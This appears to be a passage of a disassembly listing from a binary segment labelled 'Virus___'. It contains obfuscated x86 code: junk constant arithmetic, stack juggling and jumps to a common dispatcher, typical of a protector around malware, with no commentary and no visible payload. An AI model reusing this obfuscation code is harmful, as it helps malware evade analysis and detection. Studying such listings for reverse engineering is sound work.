loc_58FABD:				; CODE XREF: Virus___:00588751j
		push	esi
		mov	esi, esp
		push	ecx
		push	esi
		mov	esi, 57C10B8Bh
		shl	esi, 5
		neg	esi
		jmp	loc_57F47D
; ---------------------------------------------------------------------------


loc_58FAD1:				; CODE XREF: Virus___:0059329Ej
		add	esi, ecx
		sub	esi, 60CA6F8Bh
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58E41A
; ---------------------------------------------------------------------------


loc_58FAF2:				; CODE XREF: Virus___:00581AFDj
		sub	edi, 2993753Eh
		jmp	loc_58F0FE
; ---------------------------------------------------------------------------


loc_58FAFD:				; CODE XREF: Virus___:00587F96j
		inc	eax
		add	eax, 997AA86Fh
		jmp	loc_592A84
; ---------------------------------------------------------------------------


loc_58FB08:				; CODE XREF: Virus___:00582EDFj
		shl	ecx, 6
		shr	ecx, 3
		push	ebp
		mov	ebp, 1A5D3603h
		shr	ebp, 1
		jmp	loc_584C0D
; ---------------------------------------------------------------------------


loc_58FB1B:				; CODE XREF: Virus___:00586AA3j
		push	2F2Ch
		mov	[esp], esi
		mov	esi, 4FD100Eh
		push	eax
		jmp	loc_5898EA
; ---------------------------------------------------------------------------


loc_58FB2E:				; CODE XREF: Virus___:00583440j
		pop	eax
		pop	ecx
		mov	ecx, 4C1B5543h
		xor	ecx, eax
		pop	eax
		add	dword ptr [esp+4], 80A5F74h
		push	edx
		mov	edx, 14B4F78h
		add	edx, 40BF172Bh
		add	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		push	edx
		mov	edx, 420A66A3h
		sub	[esp+8], edx
		jmp	loc_58C0E9
; ---------------------------------------------------------------------------


loc_58FB69:				; CODE XREF: Virus___:00583A25j
		mov	dh, al
		pop	ax
		not	dh
		push	eax
		mov	ah, 3
		add	ah, 0A5h
		sub	dh, ah
		pop	eax
		sub	bl, dh
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 16h
		sub	bl, al
		push	dx
		jmp	loc_58E31A
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: Virus___:00580F94j
		sub	edx, 0B171430h
		sub	edx, 11F74403h
		sub	edx, ebp
		add	edx, 11F74403h
		add	edx, 0B171430h
		xchg	edx, ebp
		pop	edx
		push	eax
		mov	eax, 35D657E5h
		sub	ebp, eax
		pop	eax
		xor	ebp, 5622C5A4h
		add	ecx, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_58DB83
; ---------------------------------------------------------------------------


loc_58FBC3:				; CODE XREF: Virus___:00586249j
		push	ecx
		push	edx
		mov	dl, 7Ch
		shl	dl, 1
		jmp	loc_58B137
; ---------------------------------------------------------------------------


loc_58FBCE:				; CODE XREF: Virus___:00585D4Cj
		sub	edx, 8D065FDh
		add	edx, 1E76642Dh
		sub	edx, ecx
		push	1922h
		jmp	loc_58E3B5
; ---------------------------------------------------------------------------


loc_58FBE6:				; CODE XREF: Virus___:00587556j
		not	ebp
		shr	ebp, 7
		add	ebp, 0FE2824A4h
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58BCC6
; ---------------------------------------------------------------------------


loc_58FC01:				; CODE XREF: Virus___:0058BAF9j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_589E40
; ---------------------------------------------------------------------------


loc_58FC0C:				; CODE XREF: Virus___:005943BEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_581E5B
; ---------------------------------------------------------------------------


loc_58FC1F:				; CODE XREF: Virus___:0058065Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58FC2D:				; CODE XREF: Virus___:00582D77j
		mov	[esp], ebx
		mov	ebx, ebp
		jmp	loc_590C68
; ---------------------------------------------------------------------------


loc_58FC37:				; CODE XREF: Virus___:0058B000j
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_58AA7B
; ---------------------------------------------------------------------------


loc_58FC45:				; CODE XREF: Virus___:0058D471j
		push	eax
		jmp	loc_592697
; ---------------------------------------------------------------------------


loc_58FC4B:				; CODE XREF: Virus___:005894F3j
		pop	ebp
		not	ebp
		xchg	ebp, edi
		jmp	loc_590043
; ---------------------------------------------------------------------------


loc_58FC55:				; CODE XREF: Virus___:0058C53Dj
		and	eax, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_585395
; ---------------------------------------------------------------------------


loc_58FC60:				; CODE XREF: Virus___:0058027Cj
		add	esi, 3E8213EAh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_583DC0
; ---------------------------------------------------------------------------


loc_58FC72:				; CODE XREF: Virus___:00584A3Ej
		mov	ebp, esi
		pop	esi
		sub	ebp, 134722D9h
		and	ebp, 363A2146h
		push	ebx
		mov	ebx, 4B0E23B4h
		shr	ebx, 5
		neg	ebx
		add	ebx, 0F76E1CDBh
		sub	ebp, ebx
		pop	ebx
		sub	esi, ebp
		pop	ebp
		or	esi, 6D7E0B28h
		sub	esi, 1
		push	ebp
		mov	ebp, 18449h
		add	esi, ebp
		pop	ebp
		jmp	loc_585252
; ---------------------------------------------------------------------------


loc_58FCAF:				; CODE XREF: Virus___:005906E3j
		push	dword ptr [esp+4]
		jmp	loc_592D84
; ---------------------------------------------------------------------------


loc_58FCB8:				; CODE XREF: Virus___:00580F19j
		pop	esp
		xor	bl, al
		push	5981h
		mov	[esp], ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, al
		push	107Eh
		mov	[esp], edx
		mov	dh, ch
		push	ecx
		push	eax
		mov	ah, dh
		push	ebx
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		pop	eax
		push	edx
		mov	dl, cl
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		pop	edx
		jmp	loc_58E772
; ---------------------------------------------------------------------------


loc_58FCFE:				; CODE XREF: Virus___:0058A254j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 0B495756h
		add	eax, edi
		pop	edi
		add	eax, ebx
		jmp	loc_581343
; ---------------------------------------------------------------------------


loc_58FD29:				; CODE XREF: Virus___:00586A54j
		pop	edi
		push	ebx
		mov	ebx, 26664F87h
		not	ebx
		neg	ebx
		shr	ebx, 1
		add	ebx, 4BA20B1Eh
		sub	ecx, ebx
		jmp	loc_582FCB
; ---------------------------------------------------------------------------


loc_58FD43:				; CODE XREF: Virus___:005859CAj
		mov	[esp], esi
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	eax, ecx
		jmp	loc_587045
; ---------------------------------------------------------------------------


loc_58FD54:				; CODE XREF: Virus___:0058EF9Bj
		pop	ecx
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_590302
; ---------------------------------------------------------------------------


loc_58FD61:				; CODE XREF: Virus___:0058637Ej
		xchg	edi, ebp
		push	edx
		mov	edx, 1ABB0789h
		sub	edx, 76C13708h
		not	edx
		jmp	loc_58FF80
; ---------------------------------------------------------------------------


loc_58FD76:				; CODE XREF: Virus___:005889B6j
		and	ebp, ecx
		jmp	loc_58B975
; ---------------------------------------------------------------------------


loc_58FD7D:				; CODE XREF: Virus___:0058ED4Cj
		push	ecx
		mov	ecx, 12927747h
		and	edx, ecx
		pop	ecx
		shr	edx, 7
		or	edx, 46840D27h
		add	edx, 78AFA55h
		add	edi, 63486B93h
		sub	edi, edx
		sub	edi, 63486B93h
		pop	edx
		add	edi, ebp
		push	ebx
		push	edi
		mov	edi, 534016F4h
		add	edi, 0E57A0841h
		mov	ebx, edi
		pop	edi
		xor	ebx, 76B53889h
		sub	edi, 4CD67CD3h
		sub	edi, 2F5D4514h
		add	edi, ebx
		add	edi, 2F5D4514h
		add	edi, 4CD67CD3h
		jmp	loc_589742
; ---------------------------------------------------------------------------


loc_58FDDB:				; CODE XREF: Virus___:005881A8j
		pop	edx
		xor	cl, 1Eh
		xor	bh, cl
		pop	ecx
		push	eax
		mov	ah, bh
		mov	dh, ah
		jmp	loc_57F4BF
; ---------------------------------------------------------------------------


loc_58FDEC:				; CODE XREF: Virus___:0058EE17j
		pop	ecx
		add	esi, 777C4D24h
		jmp	loc_586167
; ---------------------------------------------------------------------------


loc_58FDF8:				; CODE XREF: Virus___:00585A28j
		mov	edx, 3F5E27FEh
		not	edx
		shr	edx, 6
		and	edx, 4D554F2Bh
		not	edx
		xor	edx, 80D2D2ABh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		sub	esp, 4
		jmp	loc_58D630
; ---------------------------------------------------------------------------


loc_58FE21:				; CODE XREF: Virus___:00589C93j
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		or	esi, 4FB70E2Eh
		shr	esi, 6
		sub	esi, 17FFCFAh
		push	ecx
		jmp	loc_5928E4
; ---------------------------------------------------------------------------


loc_58FE3D:				; CODE XREF: Virus___:0058C7A7j
		sub	esi, 4
		jmp	loc_580959
; ---------------------------------------------------------------------------


loc_58FE48:				; CODE XREF: Virus___:0058E9AFj
		mov	cl, 27h
		or	cl, 0AAh
		add	cl, 3Fh
		and	bh, cl
		pop	ecx
		shl	bh, 8
		sub	bh, 37h
		push	4047h
		mov	[esp], ecx
		mov	cl, 0E6h
		sub	cl, 0C0h
		shr	cl, 6
		add	cl, 66h
		add	cl, 0A4h
		or	bh, cl
		pop	ecx
		sub	bh, 73h
		mov	dh, bh
		pop	ebx
		sub	dh, 0FFh
		jmp	loc_589ABF
; ---------------------------------------------------------------------------


loc_58FE80:				; CODE XREF: Virus___:00586DFEj
		push	6819h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0DDh
		mov	al, cl
		jmp	loc_58F559
; ---------------------------------------------------------------------------


loc_58FE97:				; CODE XREF: Virus___:00581D4Cj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5910A3
; ---------------------------------------------------------------------------


loc_58FEA4:				; CODE XREF: Virus___:0058A544j
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_58C85B
; ---------------------------------------------------------------------------


loc_58FEAD:				; CODE XREF: Virus___:00590A92j
		mov	ecx, 0CA56E6F6h
		xor	ebx, ecx
		jmp	loc_588465
; ---------------------------------------------------------------------------


loc_58FEB9:				; CODE XREF: Virus___:005882D8j
		mov	edx, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_590CBC
; ---------------------------------------------------------------------------


loc_58FECF:				; CODE XREF: Virus___:005806F2j
		sub	al, dh
		pop	edx
		jmp	loc_58C1E8
; ---------------------------------------------------------------------------


loc_58FED7:				; CODE XREF: Virus___:00581B05j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5807E3
; ---------------------------------------------------------------------------


loc_58FEEA:				; CODE XREF: Virus___:00582E59j
		sub	bl, 0F2h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		mov	edx, 32644C81h
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	0B39h
		mov	[esp], edi
		jmp	loc_58498F
; ---------------------------------------------------------------------------


loc_58FF2D:				; CODE XREF: Virus___:00584142j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5943D2
; ---------------------------------------------------------------------------


loc_58FF3D:				; CODE XREF: Virus___:00586EE6j
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, 51F60B8Fh
		add	ebx, edi
		push	ecx
		mov	ecx, 51F60B8Fh
		jmp	loc_58EF99
; ---------------------------------------------------------------------------


loc_58FF5C:				; CODE XREF: Virus___:00586496j
		pop	edi
		sub	eax, 3BF850EFh
		add	edi, eax
		pop	eax
		jmp	loc_591D51
; ---------------------------------------------------------------------------


loc_58FF6A:				; CODE XREF: Virus___:00582939j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_57F8EA
; ---------------------------------------------------------------------------


loc_58FF80:				; CODE XREF: Virus___:0058FD71j
		add	edx, 5CAC57C2h
		push	ebx
		jmp	loc_5930FB
; ---------------------------------------------------------------------------


loc_58FF8C:				; CODE XREF: Virus___:0057FD6Aj
		push	ebp
		mov	ebp, 8F362E6h
		shl	ebp, 7
		shr	ebp, 8
		jmp	loc_590A2B
; ---------------------------------------------------------------------------


loc_58FF9D:				; CODE XREF: Virus___:0058BCDDj
		not	ecx
		add	ecx, 6C5F4896h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	[esp+2], cx
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5915E2
; ---------------------------------------------------------------------------


loc_58FFC5:				; CODE XREF: Virus___:0059313Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58A08C
; ---------------------------------------------------------------------------


loc_58FFDE:				; CODE XREF: Virus___:0058D833j
		and	ebx, 4FD153C0h
		add	ebx, 0FFFFFFFFh
		and	ebx, 507F6619h
		jmp	loc_584263
; ---------------------------------------------------------------------------


loc_58FFF2:				; CODE XREF: Virus___:0057F83Ej
		xor	ebp, [esp]
		jmp	loc_58E213
; ---------------------------------------------------------------------------


loc_58FFFA:				; CODE XREF: Virus___:0058612Ej
		push	ecx
		mov	ecx, 30700B72h
		jmp	loc_58F823
; ---------------------------------------------------------------------------


loc_590005:				; CODE XREF: Virus___:00580A3Fj
		sub	edi, 6066203Eh
		pop	eax
		sub	edi, 36227A05h
		sub	edi, esi
		add	edi, 36227A05h
		sub	edi, 4F2A5A8Fh
		mov	esi, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59002F:				; CODE XREF: Virus___:005847D4j
		push	ebp
		jmp	loc_5851EB
; ---------------------------------------------------------------------------


loc_590035:				; CODE XREF: Virus___:0058B4B0j
		mov	esi, [esp]
		jmp	loc_58732D
; ---------------------------------------------------------------------------


loc_59003D:				; CODE XREF: Virus___:0058C5F5j
		push	eax
		jmp	loc_58DBFF
; ---------------------------------------------------------------------------


loc_590043:				; CODE XREF: Virus___:0058FC50j
		push	esi
		mov	esi, 80541F40h
		xor	edi, esi
		pop	esi
		or	ecx, edi
		pop	edi
		jmp	loc_587134
; ---------------------------------------------------------------------------


loc_590054:				; CODE XREF: Virus___:0058D331j
		pop	ecx
		shl	esi, 4
		sub	esi, 1
		push	7438h
		mov	[esp], ebp
		mov	ebp, 732B1F5Ch
		sub	esi, ebp
		jmp	loc_5817DA
; ---------------------------------------------------------------------------


loc_590072:				; CODE XREF: Virus___:00584E1Bj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 337644EEh
		sub	edx, 1
		jmp	loc_58868F
; ---------------------------------------------------------------------------


loc_590097:				; CODE XREF: Virus___:0058BA2Cj
		or	cl, 13h
		shl	cl, 5
		add	cl, 29h
		sub	al, cl
		pop	ecx
		sub	dh, al
		pop	eax
		jmp	loc_586F9E
; ---------------------------------------------------------------------------


loc_5900AB:				; CODE XREF: Virus___:0058A86Cj
		dec	ecx
		jmp	loc_582C52
; ---------------------------------------------------------------------------


loc_5900B1:				; CODE XREF: Virus___:00589692j
		xchg	ebx, edx
		xchg	edx, edi
		shr	edi, 1
		and	edi, 1E8704F0h
		sub	esp, 4
		jmp	loc_580811
; ---------------------------------------------------------------------------


loc_5900C8:				; CODE XREF: Virus___:0058BFA3j
		pop	ebp
		push	edi
		jmp	loc_58D5BB
; ---------------------------------------------------------------------------


loc_5900CF:				; CODE XREF: Virus___:0058D183j
		mov	ecx, 27557BAh
		not	ecx
		jmp	loc_582BF4
; ---------------------------------------------------------------------------


loc_5900DB:				; CODE XREF: Virus___:0058E187j
		add	ebp, ecx
		add	ebp, 1EF44029h
		push	dword ptr [esp]
		jmp	loc_58432A
; ---------------------------------------------------------------------------


loc_5900EB:				; CODE XREF: Virus___:00593C79j
		not	edx
		neg	edx
		xor	edx, 487234B2h
		dec	edx
		sub	edx, 7A792725h
		add	ebx, edx
		jmp	loc_5899C5
; ---------------------------------------------------------------------------


loc_590103:				; CODE XREF: Virus___:0058488Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		add	dword ptr [esp], 39C36615h
		pop	ebx
		jmp	loc_59041C
; ---------------------------------------------------------------------------


loc_590118:				; CODE XREF: Virus___:00593F8Dj
		push	eax
		mov	eax, 6A2D0BE4h
		shl	eax, 7
		not	eax
		not	eax
		dec	eax
		sub	eax, 0EF6F90BAh
		add	eax, 0FFFFFFFFh
		xor	eax, 686D7619h
		or	eax, 28EB718Fh
		jmp	loc_587958
; ---------------------------------------------------------------------------


loc_59013F:				; CODE XREF: Virus___:0058D621j
		mov	dh, al
		jmp	loc_58C884
; ---------------------------------------------------------------------------


loc_590146:				; CODE XREF: Virus___:00585ACDj
		mov	ecx, 0A0A2FDh
		xor	edx, ecx
		jmp	loc_58E6C6
; ---------------------------------------------------------------------------


loc_590152:				; CODE XREF: Virus___:0058A070j
		and	ebx, 6C8870DEh
		add	ebx, 0FFFFFFFFh
		add	ebx, 11DC02FDh
		push	6955h
		mov	[esp], ebp
		jmp	loc_585175
; ---------------------------------------------------------------------------


loc_59016E:				; CODE XREF: Virus___:0057F5ACj
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		push	ebp
		push	ecx
		jmp	loc_590CB0
; ---------------------------------------------------------------------------


loc_59017F:				; CODE XREF: Virus___:00593FABj
		add	esp, 4
		sub	esi, 4104h
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5901A2:				; CODE XREF: Virus___:0059287Dj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5901A7:				; CODE XREF: Virus___:005805F4j
		mov	bl, 97h
		or	cl, bl
		pop	bx
		add	cl, 99h
		jmp	loc_58C772
; ---------------------------------------------------------------------------


loc_5901B5:				; CODE XREF: Virus___:00591C9Ej
		push	6639h
		jmp	loc_588B56
; ---------------------------------------------------------------------------


loc_5901BF:				; CODE XREF: Virus___:0058DABFj
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		jmp	loc_586FBE
; ---------------------------------------------------------------------------


loc_5901CB:				; CODE XREF: Virus___:0058F44Bj
		inc	eax
		neg	eax
		add	eax, 78037549h
		mov	ebx, eax
		pop	eax
		mov	ebp, 22C3EB36h
		add	ebp, ebx
		pop	ebx
		xor	ebp, 43F04461h
		push	edi
		mov	edi, 75332F0h
		add	ebp, edi
		pop	edi
		sub	ebp, 4EF82984h
		jmp	loc_58C0A1
; ---------------------------------------------------------------------------


loc_5901F8:				; CODE XREF: Virus___:00586EDFj
		push	esi
		jmp	loc_5919DA
; ---------------------------------------------------------------------------


loc_5901FE:				; CODE XREF: Virus___:0058D21Aj
		pop	edi
		mov	esi, edx
		pop	edx
		add	ecx, esi
		jmp	loc_589FEB
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	edx
		mov	edx, 43781FD8h
		not	edx
		sub	edx, 305D1E66h
		or	edx, 7BAA4454h
		sub	edx, 0FFAAC5D1h
		mov	ebp, edx
		jmp	loc_5878AA
; ---------------------------------------------------------------------------


loc_590234:				; CODE XREF: Virus___:00582A69j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	37E4h
		mov	[esp], esi
		jmp	loc_58341A
; ---------------------------------------------------------------------------


loc_59024D:				; CODE XREF: Virus___:005840DFj
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 6D9367B4h
		jmp	loc_591DEF
; ---------------------------------------------------------------------------


loc_590263:				; CODE XREF: Virus___:005911F4j
		pop	ecx
		sub	esp, 4
		jmp	loc_5879CB
; ---------------------------------------------------------------------------


loc_59026F:				; CODE XREF: Virus___:0058E28Cj
		mov	[esp], ebx
		mov	ebx, 0F5402F1h
		push	33ACh
		mov	[esp], ebp
		push	eax
		push	307E0815h
		jmp	loc_5831C6
; ---------------------------------------------------------------------------


loc_59028A:				; CODE XREF: Virus___:00582F0Aj
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 7E9005B9h
		and	esi, 6B3530ABh
		not	esi
		dec	esi
		jmp	loc_584A1C
; ---------------------------------------------------------------------------


loc_5902A3:				; CODE XREF: Virus___:0058E888j
		mov	esi, esp
		push	4B78h
		mov	[esp], ebx
		mov	ebx, 28EE1C77h
		add	ebx, 0FFFFFFFFh
		push	0
		sub	[esp], ebx
		pop	ebx
		push	ebp
		mov	ebp, 70D16ECAh
		jmp	loc_5891F7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_592F3B
; ---------------------------------------------------------------------------


loc_5902E2:				; CODE XREF: Virus___:0058BD46j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_593F7A
; ---------------------------------------------------------------------------


loc_5902F9:				; CODE XREF: Virus___:00587C6Bj
		not	edi
		dec	edi
		push	esi
		jmp	loc_585269
; ---------------------------------------------------------------------------


loc_590302:				; CODE XREF: Virus___:0058FD5Cj
		xor	ebx, [esp]
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_5827AD
; ---------------------------------------------------------------------------


loc_59030E:				; CODE XREF: Virus___:00589A50j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A109
; ---------------------------------------------------------------------------


loc_590317:				; CODE XREF: Virus___:0058CA6Fj
		add	al, 8Bh
		mov	dx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_5839F1
; ---------------------------------------------------------------------------


loc_59032E:				; CODE XREF: Virus___:0058A635j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59033C:				; CODE XREF: Virus___:0058D856j
		push	ebp
		mov	ebp, 4BD0B18h
		add	edx, ebp
		pop	ebp
		push	edi
		push	5672h
		jmp	loc_585048
; ---------------------------------------------------------------------------


loc_590350:				; CODE XREF: Virus___:005802DFj
		add	esp, 4
		xor	edx, 1E0501DBh
		add	edx, 7FFD8523h
		or	ebp, edx
		pop	edx
		push	eax
		jmp	loc_586082
; ---------------------------------------------------------------------------


loc_59036B:				; CODE XREF: Virus___:005832B0j
		sub	edx, 33144A9Dh
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	eax, edx
		add	eax, 7E644E88h
		sub	eax, 43CE1910h
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_59314F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_588949
; ---------------------------------------------------------------------------


loc_59039A:				; CODE XREF: Virus___:00586E6Bj
		xor	edi, 10805544h
		add	ebx, edi
		pop	edi
		push	edi
		push	2
		push	dword ptr [esp]
		pop	edi
		push	706Bh
		mov	[esp], edx
		jmp	loc_58BF3B
; ---------------------------------------------------------------------------


loc_5903BA:				; CODE XREF: Virus___:00585D9Cj
		mov	edi, 24h
		mov	ecx, edi
		pop	edi
		push	edi
		mov	edi, 717679E3h
		add	ecx, edi
		jmp	loc_59165A
; ---------------------------------------------------------------------------


loc_5903CF:				; CODE XREF: Virus___:0058F456j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 4C0D6793h
		sub	ecx, 0F66A44B7h
		jmp	loc_5869EC
; ---------------------------------------------------------------------------


loc_5903EF:				; CODE XREF: Virus___:00589EE7j
		add	esp, 4
		pop	eax
		add	edx, edi
		pop	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		add	edx, edi
		push	dword ptr [edx]
		xor	dword ptr [esp], 107146DEh
		jmp	loc_5816BB
; ---------------------------------------------------------------------------


loc_59041C:				; CODE XREF: Virus___:00590113j
		sub	ebx, 39C36615h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58BC3F
; ---------------------------------------------------------------------------


loc_59042B:				; CODE XREF: Virus___:0058783Fj
		push	eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590432:				; CODE XREF: Virus___:00583FCAj
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5916BF
; ---------------------------------------------------------------------------


loc_59044D:				; CODE XREF: Virus___:00583CF9j
		push	esi
		mov	esi, 6EC91DABh
		sub	edi, esi
		pop	esi
		push	ebp
		jmp	loc_5841FF
; ---------------------------------------------------------------------------


loc_59045C:				; CODE XREF: Virus___:0058E159j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_58710C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	edx
		push	eax
		mov	eax, 6F0C396Dh
		or	eax, 361E6E8Fh
		shl	eax, 2
		shl	eax, 3
		and	eax, 516024Bh
		dec	eax
		sub	eax, 0DADFF486h
		mov	edx, eax
		pop	eax
		push	edi
		mov	edi, 1
		sub	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 6B34695Bh
		sub	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	1B4Fh
		jmp	loc_592034
; ---------------------------------------------------------------------------


loc_5904B9:				; CODE XREF: Virus___:005909D4j
		mov	edx, 8FD45A03h
		jmp	loc_58CD2D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_585C09
; ---------------------------------------------------------------------------


loc_5904D2:				; CODE XREF: Virus___:00591684j
		add	dword ptr [ecx], 1
		jmp	loc_593DEB
; ---------------------------------------------------------------------------


loc_5904DD:				; CODE XREF: Virus___:005928DFj
		movzx	ax, byte ptr [eax]
		push	small 4B1Dh
		mov	[esp], ax
		jmp	loc_58DE28
; ---------------------------------------------------------------------------


loc_5904EE:				; CODE XREF: Virus___:00586CDFj
		or	eax, esi
		pop	esi
		not	eax
		add	eax, 5A390B69h
		jmp	loc_588343
; ---------------------------------------------------------------------------


loc_5904FD:				; CODE XREF: Virus___:0058638Dj
		push	7993h
		jmp	loc_5801FE
; ---------------------------------------------------------------------------


loc_590507:				; CODE XREF: Virus___:00581A7Aj
		add	dword ptr [esp], 4
		pop	edx
		push	5EF9h
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		jmp	loc_57F82B
; ---------------------------------------------------------------------------


loc_59052A:				; CODE XREF: Virus___:005839E6j
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_582A01
; ---------------------------------------------------------------------------


loc_590534:				; CODE XREF: Virus___:0058BF97j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FA24
; ---------------------------------------------------------------------------


loc_590541:				; CODE XREF: Virus___:00585061j
		pop	edi
		jmp	loc_5846BF
; ---------------------------------------------------------------------------


loc_590547:				; CODE XREF: Virus___:0058797Dj
		push	ecx
		jmp	loc_583392
; ---------------------------------------------------------------------------


loc_59054D:				; CODE XREF: Virus___:0058DE32j
		inc	ebx
		jmp	loc_584DBE
; ---------------------------------------------------------------------------


loc_590553:				; CODE XREF: Virus___:00589D5Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58CB94
; ---------------------------------------------------------------------------


loc_590567:				; CODE XREF: Virus___:0058A3E2j
		xchg	eax, [esp]
		jmp	loc_5867E0
; ---------------------------------------------------------------------------


loc_59056F:				; CODE XREF: Virus___:00589EC6j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_589F9E
; ---------------------------------------------------------------------------


loc_59057D:				; CODE XREF: Virus___:00591528j
		and	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590586:				; CODE XREF: Virus___:00585C4Aj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59058B:				; CODE XREF: Virus___:005895FEj
		sub	ebx, 52DF72C6h
		jmp	loc_58D11D
; ---------------------------------------------------------------------------


loc_590596:				; CODE XREF: Virus___:00586DAAj
		add	ecx, ebx
		jmp	loc_5861B9
; ---------------------------------------------------------------------------


loc_59059D:				; CODE XREF: Virus___:00593B99j
		xor	eax, ebx
		push	edi
		jmp	loc_58D9CB
; ---------------------------------------------------------------------------


loc_5905A5:				; CODE XREF: Virus___:0058178Fj
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		push	2D28h
